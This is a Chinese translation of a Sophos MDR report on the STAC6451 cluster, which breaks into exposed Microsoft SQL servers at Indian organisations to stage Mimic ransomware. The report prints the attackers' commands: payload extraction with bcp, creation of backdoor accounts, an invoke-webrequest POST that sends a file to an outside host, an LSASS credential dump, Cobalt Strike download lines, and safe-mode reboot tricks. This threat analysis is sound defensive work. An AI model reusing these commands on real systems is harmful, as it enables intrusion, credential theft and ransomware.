在支持主动事件的同时,Sophos MDR 威胁猎手和情报分析人员发现了新的威胁活动集群的更多证据,该集群利用通过默认 TCP/IP 端口 (1433) 直接暴露在公共互联网上的 Microsoft SQL Server 数据库服务器入侵印度的众多组织,试图部署勒索软件。
该集群被 MDR 跟踪为 STAC6451,其特点是一系列策略、技术和程序 (TTP),主要包括:
-
滥用 Microsoft SQL Server 进行未经授权的访问,并启用 xp_cmdshell 来促进远程代码执行
-
使用 BCP(批量复制程序)实用程序在受感染的 MSSQL 数据库中放置恶意负载和工具,包括权限提升工具、Cobalt Strike Beacons 和 Mimic 勒索软件二进制文件。
-
使用 Python Impacket 库创建各种后门账户(“ieadm”、“helpdesk”、“admins124”和“rufus”),以实现横向移动和持久性
Sophos MDR 发现 STAC6451 专门针对印度多个行业的组织。在 Sophos 跟踪的此威胁集群事件中,勒索软件的部署和其他入侵后活动均被阻止。但该集群仍然是一个活跃的威胁。
背景
Sophos MDR 于 2024 年 3 月下旬首次观察到与此活动相关的活动,当时 MDR 威胁追踪团队支持对组织的 SQL Server 遭到入侵以及攻击者随后进行的横向移动尝试的响应。该横向移动包括攻击者部署和利用 Web Shell 的尝试。
通过对事件的进一步分析,Sophos 发现了更多在战术、技术和程序 (TTP) 上存在大量重叠的攻击,从而形成了我们指定为 STAC6451 的安全威胁活动集群。该集群的主要特点是滥用 SQL 数据库,并使用批量复制程序 (bcp) 将工具下载到目标环境中,例如 RMM 软件和与 Mimic 勒索软件相关的恶意文件。
图 1:攻击者使用 xp_cmdshell 解压他们的工具,并且在许多情况下使用 AnyDesk 进行初始命令和控制。
初始访问
STAC6451 主要针对 MSSQL 数据库服务器,以获取对受害网络的未授权访问。攻击者成功入侵的目标是暴露在互联网上的服务器,这些服务器通常具有简单的帐户凭据,因此容易受到暴力攻击。在获得访问权限后,攻击者会启用 MSSQL 的存储过程 ( xp_cmdshell ),以允许通过 SQL 服务执行命令行 - 这些进程在“MSSSQLSERVER”的用户会话下运行。在我们观察到的攻击中,似乎没有系统管理员凭据被泄露。
攻击者要想入侵目标组织,就必须将 SQL 服务器的默认 TCP/IP 端口 (1433) 暴露在互联网上。如果端口暴露,攻击者便可以连接到服务器并进行暴力攻击,从而执行代码并将恶意负载植入 SQL 数据库。此外,必须在暴露的 SQL 服务器上启用 xp_cmdshell ,威胁行为者才能利用其访问权限从 SQL 实例执行命令来生成LOLBins,例如command.exe。xp_cmdshell过程默认处于禁用状态,因此不应在暴露的服务器上启用该过程。(在本报告末尾的建议中,我们提供了有关如何检查服务器上是否启用了 xp_cmdshell 以及如何将其关闭(如果适用)的说明。)
Discovery / Staging
一旦威胁行为者通过 xp_cmdshell 功能启用代码执行,他们就会从sqlserver.exe进程在服务器上执行各种发现命令,以枚举有关正在运行的系统的详细信息,包括版本、主机名、可用内存、域和用户名上下文。Sophos MDR 经常观察到这些侦察命令在两分钟内以统一的顺序在多个受害者环境中运行,表明它们可能是自动的。
ver & hostname
wmic computersystem get totalphysicalmemory
wmic os get Caption
wmic os get version
wmic computersystem get domain
whoami
图 2:聚合 SQL SPID(Sophos 进程 ID)树数据显示针对各种目标网络同时自动执行侦察命令
还观察到攻击者利用带外应用程序安全测试 (OAST) 服务来查找受害者的 Web 应用程序中可利用的漏洞并确认他们运行恶意负载的能力。
powershell invoke-webrequest -uri http[:]//mwm1cpvp031oph29mjuil9fz3q9hx7lw.oastify[.]com
powershell invoke-webrequest -uri http[:]//mwm1cpvp031oph29mjuil9fz3q9hx7lw.oastify[.]com -Method POST -InFile c:userspublicmusic1.txt
除了发现命令之外,威胁行为者还开始准备其他有效载荷和工具。在一些情况下,威胁行为者使用了bcp(批量复制程序)实用程序,这是一个用于在 SQL 实例和文件之间复制数据的命令行工具。威胁行为者将其有效载荷嵌入 MSSQL 数据库中,并运行各种 BCP 命令,从数据库中保存的恶意软件和工具中创建本地文件。
一旦威胁行为者获得对 SQL 服务器的访问权限,他们就会使用 bcp 访问他们在服务器上创建的 SQL 表,并利用“queryout”选项将文件导出到用户可写的目录(在我们观察到的所有情况下,都是“ C:userspublicmusic” )。攻击者添加了“–T”标志来指定受信任的连接(使用 Windows 身份验证),以及“–f”标志来指定也已写入磁盘的格式文件。此步骤将 BCP 配置为与 SQL Server 中新创建的数据进行交互。
通过使用这种方法,攻击者可以部署各种工具和可执行文件,例如 AnyDesk、批处理脚本和/或 PowerShell 脚本。Sophos 观察到攻击者部署了各种不同的 webshell,例如 god.aspx,Sophos 将其检测为 Troj/WebShel-IA。此外,他们还部署了其他恶意负载、特权提升工具、Cobalt Strike Beacons 和 Mimic Ransomware 二进制文件。
示例包括:
工具(文件名) | 命令行 |
有效载荷投放器 (build.txt) | “C:Windowssystem32cmd.exe” /c bcp “从 uGnzBdZbsi 中选择二进制表” queryout “C:userspublicmusicbuild.txt” -T -f “C:userspublicmusicFODsOZKgAU.txt” |
打印欺骗器 (P0Z.exe) | “C:Windowssystem32cmd.exe” /c bcp “从 uGnzBdZbsi 中选择二进制表” queryout “C:windowstempPOZ.exe” -T -f “C:windowstempFODsOZKgAU.txt” |
勒索软件启动器(pp2.exe) | “C:Windowssystem32cmd.exe” /c bcp “从 uGnzBdZbsi 中选择二进制表” queryout “C:userspublicmusicpp2.exe” -T -f “C:userspublicmusicFODsOZKgAU.txt” |
AnyDesk (AD.exe) | “C:Windowssystem32cmd.exe” /c bcp “从 uGnzBdZbsi 中选择二进制表” queryout “C:users%ASD%musicAD.exe” -T -f “C:users%ASD%musicFODsOZKgAU.txt” |
横向移动/持久性
在受害者环境中,威胁行为者创建了各种用户帐户,用于横向移动和持久性。然而,观察到威胁行为者在多个目标网络上同时运行相同的脚本(“C:userspublicmusicd.bat”),以创建新用户(“ieadm”)并将其添加到本地管理员和远程桌面组。该脚本还运行命令以静默安装 AnyDesk (AD.exe) 并在注册表中启用 Wdigest,强制以明文形式存储凭据。
图 3:聚合 SQL SPID(Sophos 进程 ID)树数据显示 d.bat 针对各种目标网络同时自动执行
值得注意的是,虽然我们观察到受到此威胁集群攻击的目标位于印度,但自动脚本引用了多种语言,以确保新创建的用户成功添加到受害者的管理员组。这表明攻击者使用的是通用工具,可能不知道受影响组织的地理位置
net localgroup Administradores ieadm /add (Portuguese)
net localgroup Administratoren ieadm /add (German)
net localgroup Administrateurs ieadm /add (French)
在另一种情况下,攻击者通过 SQL 进程执行批处理文件(“ C:userspublicmusicuser1.bat ”)来创建一个新的本地帐户(“admins124”),并将其添加到本地管理员组和远程桌面组。
C:Windowssystem32net1 user admins124 @@@Music123.. /add
Net localgroup administrators admins124 /add
Net localgroup "Remote Desktop Users" admins124 /add
在另一个案例中,攻击者同样创建了一个名为“helpdesk”的新本地帐户,并使用 IIS Web 工作服务 w3wp.exe 将其添加到本地管理员组以启动该进程。Sophos MDR 将此活动检测为SweetPotato攻击工具 (ATK/SharpPot-A)的一部分。
"cmd" /c "cd /d "C:/Windows/SysWOW64/inetsrv/"&net user helpdesk TheP@ssW0rd /add" 2>&1
值得注意的是, Elastic于 1 月发布的一份关于另一家金融服务公司入侵的报告中记录了相同的命令行,包括上面的用户名和密码。虽然这些案件的目标相似,但目前尚不清楚攻击者是否相同,或者该帐户是否是共享工具的一部分。
我们观察到为了进行横向移动而创建的其他用户帐户,威胁行为者试图将其添加到远程桌面组。
"C:Windowssystem32cmd.exe" /c W:/POZ.exe -i -c "net user rufus ruFus911 /add &net user rufus ruFus911"
net user b9de1fc57 032AEFAB1o /add
net user 56638e37b 7C135912Bo /add
权限提升
受感染的 SQL 实例启动了一个名为 PrintSpoofer ( P0Z.exe ) 的权限提升工具,这是一种利用 Windows 后台处理程序服务中的弱点来获取提升权限并可能执行恶意命令或负载的恶意软件。Sophos 将此活动检测为 ATK/PrntSpoof-A。
观察到的样本使用常见的管道路径(如“ .pipe%wspipespoolss ”)与后台处理程序服务进行交互。它还使用诸如“ %ws/pipe/%ws ”之类的路径在进程之间进行通信并提升权限。此外,它利用“在 Windows 上写入文件”将数据写入命名管道,这表明它正在向后台处理程序服务注入命令或有效载荷。
一个月后,Sophos 观察到参与者的 Cobalt Strike 植入程序执行Sophosx64.exe,然后启动多个命令,包括注册表查询和向本地管理员组创建用户。
C:Windowssystem32cmd.exe /C C:UsersPublicSophosx64.exe -cmd "cmd /c reg query HKEY_LOCAL_MACHINESOFTWAREWow6432NodeTightVNCServer /v Password"
C:UsersPublicSophosx64.exe -cmd "cmd /c net user helpdesk ThisisPassw0rd /add && net localgroup administrators helpdesk /add"
这表明攻击者意识到环境中存在 Sophos 端点保护,并且他们试图混淆他们的行为。
执行
为了执行,攻击者使用 bcp 将勒索软件启动器 ( pp2.exe ) 和初始化脚本 ( 03.bat ) 写入磁盘。在一种情况下,pp2.exe 直接从 SQL Server 编写,在另一种情况下,可执行文件嵌入在批处理脚本中。接下来,他们利用 AnyDesk ( ad.exe ) 启动 03.bat,然后执行pp2.exe:
C:userspublicmusicpp2.exe 00011111 C:userspublicmusicbuild.txt c:programdatabuildtrg.EXE
bcdedit /set {default} safeboot network
shutdown -r -f -t 5
del "%
它还加载build.txt,这是各种有效载荷的存档。
Build.txt包含pp2.exe,它会释放 Void Tools 搜索实用程序 ( everything.exe )。Void Tools 搜索实用程序允许威胁行为者识别目标系统上要加密的感兴趣的文件。
此外,pp3.exe 从 Build.txt 中提取 Defender Control ( dc.exe ) 以破坏 Windows Defender,以及 Sysinternals Secure File Delete ( xdel.exe ) 以删除数据备份并阻止恢复。最后,Build.txt会删除 Mimic 勒索软件二进制文件 ( oto.exe ),这是加密受害者文件的程序。
文件名 | 描述 | 检测 |
Everything.exe | Void Tools 搜索实用程序 | AppC/EveryT-Gen |
DC.exe | 防守方控制 | 应用程序/BLWinDC-A |
Xdel.exe | Sysinternals 安全文件删除 | AppC/SecDel-A |
Oto.exe | 模仿勒索软件二进制文件 | 特洛伊/赎金-HAZ |
Build.txt | 有效载荷投放器 | 特洛伊/MDrop-JXY |
在一个案例中,Sophos MDR 观察到批处理脚本 ( 01.bat )的执行,该脚本使用 BCDEDIT 实用程序将启动模式更改为带网络连接的安全模式,并在执行五秒后重新启动主机,以试图绕过保护技术。Sophos 最近添加了一条新的自适应攻击保护持久策略规则(默认启用),以防止攻击者以编程方式将设备重新启动到安全模式。
bcdedit /set {default} safeboot network
shutdown -r -f -t 5
指挥与控制(C2)
Cobalt Strike
威胁者部署了一个名为USERENV.dll的独特 Cobalt Strike 加载程序。此加载程序中的二进制数据经过十六进制编码并通过命令行执行,具体针对系统的命令提示符配置,通过将数据附加到“ C:/users/public/downloads/ ”目录中名为USERENV.dll.tmp的临时文件中。Sophos 将此活动检测为 Memory_1d (mem/cobalt-d mem/cobalt-f)。
图 4:攻击者通过命令行检索编码的 Cobalt Strike 加载程序 USERENV.dll
加载程序通过解密由 SQL Server 的 xp_cmdshell 功能执行的进程释放的配置文件(位于“C:userspublicconfig.ini”)来检索其配置。然后,加载程序将 DLL 注入进程gpupdate.exe,并与恶意域 windowstimes.online 建立 C2 连接。
攻击者创建了一个名为“Plug”的新服务,该服务在路径“ C:ProgramDataPlugtosbtkbd.exe ”处执行了一个包含 Cobalt Strike Beacon 的文件。然后,他们将该服务配置为在主机上自动启动,然后删除该服务。
sc create Plug binpath= "cmd /c cd C:ProgramDataPlug && start "C:ProgramDataPlugtosbtkbd.exe""
Net start plug
Sc delete plug
Sophos 的分析揭示了 Cobalt Strike 混淆技术,表明威胁行为者在恶意软件开发和基础设施配置方面非常熟练。嵌入的原始文件名来自 USERENV.dll ,表明行为者在内部将其 Cobalt Strike 加载程序称为“ SleepPatcher.dll ”。进一步调查显示,“SleepPatcher”是MemoryEvasion中的一个组件,MemoryEvasion 是一个开源库,专门为红队成员定制为 Cobalt Strike 内存规避加载程序。我们的发现与 Elastic Security Labs 的研究一致,该研究也检测到了类似的技术,包括操纵合法的 Windows DLL 和使用“ MemoryEvasion”工具。Sophos 将这种 Cobalt Strike 混淆方法识别为 Troj/Inject-JLC。
图5:USERENV.dll的字符串分析
此外,我们的研究还发现,攻击者正在使用受感染的网络服务器jobquest[.]ph来托管他们的 Cobalt Strike 负载。截至 5 月 21 日,该 URL 不再返回内容。
"C:Windowssystem32cmd.exe" /c cscript C:userspublicdownloadsx.vbs hxxps://jobquest[.]ph/tt.png C:userspublicdownloads1.png
"C:Windowssystem32cmd.exe" /c cscript C:userspublicdownloadsx.vbs hxxps://jobquest[.]ph/2.png C:userspublicdownloads2.png
"C:Windowssystem32cmd.exe" /c cscript C:userspublicdownloadsx.vbs hxxps://jobquest[.]ph/3.png C:userspublicdownloads3.png
凭证访问
在建立 Cobalt Strike C2 通信后,威胁行为者尝试利用 Microsoft 的一款名为DumpMinitool的工具访问 LSASS 内存凭据。此活动已被 Sophos Credential Guard (CredGuard) 检测并阻止。
C:dm.exe --file C:1.png --processId <pid> --dumpType Full
影响
数据收集
其中一个攻击涉及额外的动手操作以及数据收集。具体来说,Sophos 观察到一个新创建的管理员帐户利用 WinRAR 来存档数据。目前尚不清楚 WinRAR 是否之前安装在目标系统上,或者是否通过 AnyDesk 会话安装。
“C:Program FilesWinRARWinRAR.exe”a-ep-scul-r0-iext--web.rar
模仿勒索软件
如上所述,Sophos MDR 还观察到参与者试图部署 Mimic 勒索软件二进制文件。据报道,Mimic 勒索软件于 2022 年首次出现,通过可执行文件进行分发,该文件会释放从受保护存档中提取的多个二进制文件,包括最终的有效负载。正如Trend Micro之前所指出的那样,勒索软件二进制文件通常与上述一系列其他工具一起打包,例如 Everything 文件搜索工具、Defender Control 和安全文件删除。
在执行时,我们发现勒索软件负载会删除卷影副本并使用扩展名“getmydata[@]tutamail[.]com.3000USD”加密受害者文件,让受害者立即知道解密器的价格以及联系方法。它将加密活动和加密文件的哈希值记录到目录“ C:temp ”中,作为MIMIC_LOG.txt。最后,负载通过删除数据备份和破坏磁盘以及清理已部署的其他工具来禁用恢复。虽然在所有观察到的事件中都看到参与者准备 Mimic 勒索软件二进制文件,但勒索软件通常无法成功执行,在一些情况下,我们还看到参与者在部署后试图删除二进制文件。
受害者研究与归因
正如我们之前所述,Sophos MDR 发现 STAC6451 专门针对多个行业的印度组织。与针对外部 SQL 服务的一般机会性攻击(我们预计受害者群体会更加多样化)不同,我们相当有信心地评估,该活动集群有意针对的是印度的大型组织。
在不同目标环境中同时执行相同脚本和统一的活动节奏表明,攻击者正在自动执行攻击的不同阶段,以快速利用和攻击多个受害者。我们低可信度地评估,攻击者收集了一组可利用的 IP 来访问 SQL 数据库,并通过将新创建的用户添加到更高权限的组中来建立持久性,然后进行侦察并朝着目标采取行动。
图 6:从三个目标组织的聚合 SQL SPID(Sophos 进程 ID)树数据中观察到的活动的甘特图
此外,虽然之前曾有涉及 Mimic 勒索软件的类似活动与一名以经济为目的的土耳其语初始访问代理有关,但 Sophos MDR 仅在一小部分案件中观察到企图部署勒索软件的行为,而其他案件则涉及数据收集和可能的泄露。随着情报收集工作的继续,以及如果有新证据出现,可能会进一步了解参与者的身份和关系,我们将更新我们的评估。
结论
STAC6451 是一个持续存在的威胁,Sophos 持续监控和阻止与此威胁活动集群相关的活动。该集群通过重定向和混淆技术表现出中等程度的复杂性;然而,勒索软件二进制文件执行失败以及报告后凭证轮换不足表明该集群在某些领域仍缺乏操作成熟度。尽管如此,威胁行为者已被证明会持续进行活动,并且特别关注针对印度的组织。
根据我们的观察,Sophos MDR 以中等至高度的信心评估 STAC6451 参与者正在自动化其攻击链的各个阶段,以促进其勒索软件前的活动。参与者很可能还在受害者池中挑选某些感兴趣的组织,以进行进一步的动手操作活动并收集数据。
我们希望我们的研究能为有关这一威胁日益增长的知识体系提供进一步的信息。
原文始发于微信公众号(Ots安全):Sophos MDR 追踪针对印度组织的 Mimic 勒索软件活动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论